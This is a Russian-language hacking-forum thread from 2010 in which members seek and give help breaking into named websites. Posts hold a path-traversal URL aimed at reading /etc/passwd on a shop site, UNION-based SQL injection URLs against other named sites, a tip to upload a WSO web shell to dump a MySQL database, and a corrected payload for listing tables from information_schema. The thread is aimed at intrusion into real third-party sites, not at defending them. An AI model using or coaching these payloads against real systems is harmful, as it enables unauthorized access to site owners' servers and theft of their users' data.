HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.09.2010, 20:59
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

Цитата:
Сообщение от jecka3000  
при переходе в какую-нибудь диру пишет:
You don't have permission to access /admin on this server.
чем спастись от этого?
скорее всего фильтрация по айпи... так что не судьба..если конечно админ сайта не твой друг...
 
Ответить с цитированием

  #2  
Старый 16.09.2010, 14:21
hacker-nubik
Новичок
Регистрация: 20.04.2010
Сообщений: 1
С нами: 8452580

Репутация: 3
По умолчанию

Есть обычная blind sql inj, фильтруется LIMIT? Как можно раскрутить без LIMIT'a?
 
Ответить с цитированием

  #3  
Старый 16.09.2010, 20:17
DrakonHaSh
Познающий
Регистрация: 16.04.2008
Сообщений: 88
С нами: 9509918

Репутация: 30
По умолчанию

hacker-nubik

http://raz0r.name/obzory/group_concat/

и особенно, ближе к самому концу, коммент от iHornet

еще сюда: https://rdot.org/forum/showthread.php?t=60 глянь

а как это к слепой прикрутить включай мозг
 
Ответить с цитированием

  #4  
Старый 17.09.2010, 22:08
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами: 9555536

Репутация: 95
По умолчанию

помогите заинклудить

http://luvaccessories.com/shopping.php?category_name=Romantic_Gifts&page=../../../../etc/pssswd%00
 
Ответить с цитированием

  #5  
Старый 19.09.2010, 13:00
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

как слить базу данных мускул? есть доступ к фтп.
 
Ответить с цитированием

  #6  
Старый 19.09.2010, 13:28
Axel_Ustus
Новичок
Регистрация: 04.06.2010
Сообщений: 0
С нами: 8388263

Репутация: 0
По умолчанию

http://www.skunk2.com/news2.php?news_id=43+union+select+1,2--

выдает ошибку хотя количество полей подобрано верно

обьясните почему и как выкрутиться
 
Ответить с цитированием

  #7  
Старый 19.09.2010, 13:43
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от Nightmarе  
Залить шелл, лучше WSO, и через него сдампить.
я пробовал неполучилось

пишет error can't open file

а теперь в предачу еще пишет

You were denied access because:

Access denied by access control list.

но это изза прокси...

может посоветуете какойнибудь провереный дампер
 
Ответить с цитированием

  #8  
Старый 19.09.2010, 14:19
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

Цитата:
Сообщение от Axel_Ustus  
http://www.skunk2.com/news2.php?news_id=43+union+select+1,2--
выдает ошибку хотя количество полей подобрано верно
обьясните почему и как выкрутиться
BLIND
 
Ответить с цитированием

  #9  
Старый 19.09.2010, 16:39
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

как узнать список таблиц из определенной бд?

я пробовал чтото вроде этого

http://www.ччч.ru/news.php?id=-45+union+select+1,2,3,4,5,unhex%28hex%28group_conc at%28table_name%29%29%29,7,8,9,10+from+information _schema.schemata+where+schema_name=0x00000000

невыйшло..
 
Ответить с цитированием

  #10  
Старый 19.09.2010, 16:44
Blizzard
Новичок
Регистрация: 27.07.2010
Сообщений: 16
С нами: 8312726

Репутация: 0
По умолчанию

Цитата:
Сообщение от 547  
как узнать список таблиц из определенной бд?
я пробовал чтото вроде этого
http://www.ччч.ru/news.php?id=-45+union+select+1,2,3,4,5,unhex%28hex%28group_conc at%28table_name%29%29%29,7,8,9,10+from+information _schema.schemata+where+schema_name=0x00000000
невыйшло..
from+information_schema.tables+where+table_schema= 0x000
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.